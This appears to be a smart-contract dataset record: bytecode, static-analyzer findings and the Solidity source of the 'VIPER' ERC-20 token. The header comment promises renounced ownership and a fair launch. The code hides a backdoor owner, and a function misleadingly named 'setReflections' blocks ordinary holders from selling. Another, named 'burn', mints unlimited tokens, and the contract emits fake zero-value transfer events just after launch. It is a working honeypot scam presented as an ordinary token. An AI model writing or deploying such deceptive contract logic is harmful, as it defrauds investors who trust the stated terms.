0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611f2e565b610531565b6040516101799190611f87565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a4919061203b565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612089565b6105e8565b6040516101e191906120e4565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612247565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190611f87565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612290565b610757565b60405161027291906120e4565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906122ff565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190611f87565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b506103266004803603810190610321919061231a565b610a87565b6040516103339190611f87565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e919061231a565b610a9f565b6040516103709190611f87565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612356565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c6919061203b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612089565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a919061231a565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612089565b610e9b565b60405161045591906120e4565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b604051610480919061203b565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190612247565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb919061203b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611f2e565b611620565b6040516105289190611f87565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610565906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610591906123a0565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061074190612430565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124eb565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b48906123a0565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612557565b60405180910390fd5b610ccd60008383611eb7565b8060066000828254610cdf9190612577565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612577565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190611f87565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec6906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef2906123a0565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061108290612430565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612619565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611288919061264e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611313919061264e565b6040518363ffffffff1660e01b815260040161133092919061267b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611373919061264e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611444969594939291906126e9565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061275f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b9291906127b2565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190612807565b5050565b6007805461159f906123a0565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb906123a0565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611716906128a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612938565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190611f87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e1906129ca565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119f557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4757600960009054906101000a900460ff1680611aaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b075750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d90612a5c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611baf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c075750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c3d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c4657600080fd5b611c51838383611eb7565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90612aee565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6a9190612577565b92505081905550436004600b54611d819190612577565b118015611ddb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e4b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e3e9190612b0e565b60405180910390a3611eb1565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ea89190611f87565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efb82611ed0565b9050919050565b611f0b81611ef0565b8114611f1657600080fd5b50565b600081359050611f2881611f02565b92915050565b60008060408385031215611f4557611f44611ec6565b5b6000611f5385828601611f19565b9250506020611f6485828601611f19565b9150509250929050565b6000819050919050565b611f8181611f6e565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fdc578082015181840152602081019050611fc1565b83811115611feb576000848401525b50505050565b6000601f19601f8301169050919050565b600061200d82611fa2565b6120178185611fad565b9350612027818560208601611fbe565b61203081611ff1565b840191505092915050565b600060208201905081810360008301526120558184612002565b905092915050565b61206681611f6e565b811461207157600080fd5b50565b6000813590506120838161205d565b92915050565b600080604083850312156120a05761209f611ec6565b5b60006120ae85828601611f19565b92505060206120bf85828601612074565b9150509250929050565b60008115159050919050565b6120de816120c9565b82525050565b60006020820190506120f960008301846120d5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61213c82611ff1565b810181811067ffffffffffffffff8211171561215b5761215a612104565b5b80604052505050565b600061216e611ebc565b905061217a8282612133565b919050565b600067ffffffffffffffff82111561219a57612199612104565b5b602082029050602081019050919050565b600080fd5b60006121c36121be8461217f565b612164565b905080838252602082019050602084028301858111156121e6576121e56121ab565b5b835b8181101561220f57806121fb8882611f19565b8452602084019350506020810190506121e8565b5050509392505050565b600082601f83011261222e5761222d6120ff565b5b813561223e8482602086016121b0565b91505092915050565b60006020828403121561225d5761225c611ec6565b5b600082013567ffffffffffffffff81111561227b5761227a611ecb565b5b61228784828501612219565b91505092915050565b6000806000606084860312156122a9576122a8611ec6565b5b60006122b786828701611f19565b93505060206122c886828701611f19565b92505060406122d986828701612074565b9150509250925092565b600060ff82169050919050565b6122f9816122e3565b82525050565b600060208201905061231460008301846122f0565b92915050565b6000602082840312156123305761232f611ec6565b5b600061233e84828501611f19565b91505092915050565b61235081611ef0565b82525050565b600060208201905061236b6000830184612347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123b857607f821691505b602082108114156123cc576123cb612371565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061243b82611f6e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561246e5761246d612401565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006124d5602883611fad565b91506124e082612479565b604082019050919050565b60006020820190508181036000830152612504816124c8565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b6000612541601f83611fad565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b600061258282611f6e565b915061258d83611f6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125c2576125c1612401565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612603601783611fad565b915061260e826125cd565b602082019050919050565b60006020820190508181036000830152612632816125f6565b9050919050565b60008151905061264881611f02565b92915050565b60006020828403121561266457612663611ec6565b5b600061267284828501612639565b91505092915050565b60006040820190506126906000830185612347565b61269d6020830184612347565b9392505050565b6000819050919050565b6000819050919050565b60006126d36126ce6126c9846126a4565b6126ae565b611f6e565b9050919050565b6126e3816126b8565b82525050565b600060c0820190506126fe6000830189612347565b61270b6020830188611f78565b61271860408301876126da565b61272560608301866126da565b6127326080830185612347565b61273f60a0830184611f78565b979650505050505050565b6000815190506127598161205d565b92915050565b60008060006060848603121561277857612777611ec6565b5b60006127868682870161274a565b93505060206127978682870161274a565b92505060406127a88682870161274a565b9150509250925092565b60006040820190506127c76000830185612347565b6127d46020830184611f78565b9392505050565b6127e4816120c9565b81146127ef57600080fd5b50565b600081519050612801816127db565b92915050565b60006020828403121561281d5761281c611ec6565b5b600061282b848285016127f2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612890602483611fad565b915061289b82612834565b604082019050919050565b600060208201905081810360008301526128bf81612883565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612922602283611fad565b915061292d826128c6565b604082019050919050565b6000602082019050818103600083015261295181612915565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129b4602583611fad565b91506129bf82612958565b604082019050919050565b600060208201905081810360008301526129e3816129a7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a46602383611fad565b9150612a51826129ea565b604082019050919050565b60006020820190508181036000830152612a7581612a39565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612ad8602683611fad565b9150612ae382612a7c565b604082019050919050565b60006020820190508181036000830152612b0781612acb565b9050919050565b6000602082019050612b2360008301846126da565b9291505056fea2646970667358221220d3970eff93b73701bc7c99f965955d00eb097cbf7b5a0d7cd158ab8245710ae764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,107 |
0x809795e15f355e9ee3fa1ee39ebe6181560dbbe8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/*
_ _ ___________ ___________
| | | |_ _| ___ \ ___| ___ \
| | | | | | | |_/ / |__ | |_/ /
| | | | | | | __/| __|| /
\ \_/ /_| |_| | | |___| |\ \
\___/ \___/\_| \____/\_| \_|
VIPER is the official token of the Monthy Python play to earn game.
More info available on our telegram and website
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract VIPER is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "VIPER";
string public _symbol= "VIPER";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xCa858Ee936Cfb40EdDB980dCF2c093b311f50a6D);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611f2e565b610531565b6040516101799190611f87565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a4919061203b565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612089565b6105e8565b6040516101e191906120e4565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612247565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190611f87565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612290565b610757565b60405161027291906120e4565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906122ff565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190611f87565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b506103266004803603810190610321919061231a565b610a87565b6040516103339190611f87565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e919061231a565b610a9f565b6040516103709190611f87565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612356565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c6919061203b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612089565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a919061231a565b610da5565b005b34801561042d57600080fd